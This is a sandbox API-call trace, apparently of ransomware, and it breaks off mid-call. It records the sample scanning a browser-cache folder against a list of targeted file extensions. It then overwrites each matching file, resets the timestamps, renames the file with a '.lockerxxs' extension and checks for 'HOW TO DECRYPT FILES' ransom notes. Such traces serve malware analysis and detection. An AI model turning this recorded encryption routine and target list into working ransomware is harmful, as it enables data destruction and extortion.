PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.jpg") returned 1 [0083.152] lstrlenA (lpString="*.jpg") returned 5 [0083.152] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg" [0083.152] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg" [0083.152] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg." [0083.152] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg.lockerxxs" [0083.152] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbcm2u2[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.153] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x350a [0083.153] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x459f9950, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x459f9950, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x459f9950, dwHighDateTime=0x1d2faf3)) returned 1 [0083.153] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.153] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x34e4, lpOverlapped=0x0) returned 1 [0083.155] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg") returned="BBCM2U2[1].jpg" [0083.155] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.155] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x34e4, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x34e4, lpOverlapped=0x0) returned 1 [0083.156] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.156] CloseHandle (hObject=0xa4) returned 1 [0083.156] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbcm2u2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbcm2u2[1].jpg.lockerxxs")) returned 1 [0083.157] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4593b270, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4593b270, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x4593b270, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBDGTbx[1].jpg", cAlternateFileName="BBDGTB~1.JPG")) returned 1 [0083.157] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.157] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBDGTbx[1].jpg") returned 1 [0083.157] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBDGTbx[1].jpg") returned 1 [0083.157] lstrcmpiA (lpString1="", lpString2="BBDGTbx[1].jpg") returned -1 [0083.157] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg") returned="BBCM2U2[1].jpg" [0083.157] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.157] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.157] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.157] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.157] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBDGTbx[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg" [0083.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.ems") returned 0 [0083.158] lstrlenA (lpString="*.ems") returned 5 [0083.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.db") returned 0 [0083.158] lstrlenA (lpString="*.db") returned 4 [0083.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.dbf") returned 0 [0083.158] lstrlenA (lpString="*.dbf") returned 5 [0083.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.myox") returned 0 [0083.158] lstrlenA (lpString="*.myox") returned 6 [0083.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.myo") returned 0 [0083.158] lstrlenA (lpString="*.myo") returned 5 [0083.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.qbw") returned 0 [0083.158] lstrlenA (lpString="*.qbw") returned 5 [0083.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.qbb") returned 0 [0083.158] lstrlenA (lpString="*.qbb") returned 5 [0083.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.qbm") returned 0 [0083.158] lstrlenA (lpString="*.qbm") returned 5 [0083.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.qbo") returned 0 [0083.158] lstrlenA (lpString="*.qbo") returned 5 [0083.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.qbx") returned 0 [0083.158] lstrlenA (lpString="*.qbx") returned 5 [0083.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.qba") returned 0 [0083.159] lstrlenA (lpString="*.qba") returned 5 [0083.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.qby") returned 0 [0083.159] lstrlenA (lpString="*.qby") returned 5 [0083.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.qbj") returned 0 [0083.159] lstrlenA (lpString="*.qbj") returned 5 [0083.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.ofx") returned 0 [0083.159] lstrlenA (lpString="*.ofx") returned 5 [0083.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.qif") returned 0 [0083.159] lstrlenA (lpString="*.qif") returned 5 [0083.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.mye") returned 0 [0083.159] lstrlenA (lpString="*.mye") returned 5 [0083.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.mbox") returned 0 [0083.159] lstrlenA (lpString="*.mbox") returned 6 [0083.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.eml") returned 0 [0083.159] lstrlenA (lpString="*.eml") returned 5 [0083.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.pst") returned 0 [0083.159] lstrlenA (lpString="*.pst") returned 5 [0083.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.ost") returned 0 [0083.159] lstrlenA (lpString="*.ost") returned 5 [0083.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.idx") returned 0 [0083.160] lstrlenA (lpString="*.idx") returned 5 [0083.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.dbx") returned 0 [0083.160] lstrlenA (lpString="*.dbx") returned 5 [0083.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.sql") returned 0 [0083.160] lstrlenA (lpString="*.sql") returned 5 [0083.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.mdb") returned 0 [0083.160] lstrlenA (lpString="*.mdb") returned 5 [0083.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.fdb") returned 0 [0083.160] lstrlenA (lpString="*.fdb") returned 5 [0083.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.wab") returned 0 [0083.160] lstrlenA (lpString="*.wab") returned 5 [0083.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.dat") returned 0 [0083.160] lstrlenA (lpString="*.dat") returned 5 [0083.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.txt") returned 0 [0083.160] lstrlenA (lpString="*.txt") returned 5 [0083.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.jpeg") returned 0 [0083.160] lstrlenA (lpString="*.jpeg") returned 6 [0083.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", pszSpec="*.jpg") returned 1 [0083.160] lstrlenA (lpString="*.jpg") returned 5 [0083.160] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg" [0083.161] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg" [0083.161] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg." [0083.161] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg.lockerxxs" [0083.161] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdgtbx[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.161] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x68c [0083.161] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x4593b270, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x4593b270, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x4593b270, dwHighDateTime=0x1d2faf3)) returned 1 [0083.161] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.161] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x666, lpOverlapped=0x0) returned 1 [0083.163] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg") returned="BBDGTbx[1].jpg" [0083.163] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.164] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x666, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x666, lpOverlapped=0x0) returned 1 [0083.164] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.164] CloseHandle (hObject=0xa4) returned 1 [0083.164] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdgtbx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdgtbx[1].jpg.lockerxxs")) returned 1 [0083.165] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe399c90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe399c90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe399c90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBDk44m[1].png", cAlternateFileName="BBDK44~1.PNG")) returned 1 [0083.165] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.165] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBDk44m[1].png") returned 1 [0083.165] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBDk44m[1].png") returned 1 [0083.165] lstrcmpiA (lpString1="", lpString2="BBDk44m[1].png") returned -1 [0083.165] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDGTbx[1].jpg") returned="BBDGTbx[1].jpg" [0083.165] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.165] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.165] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.165] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js 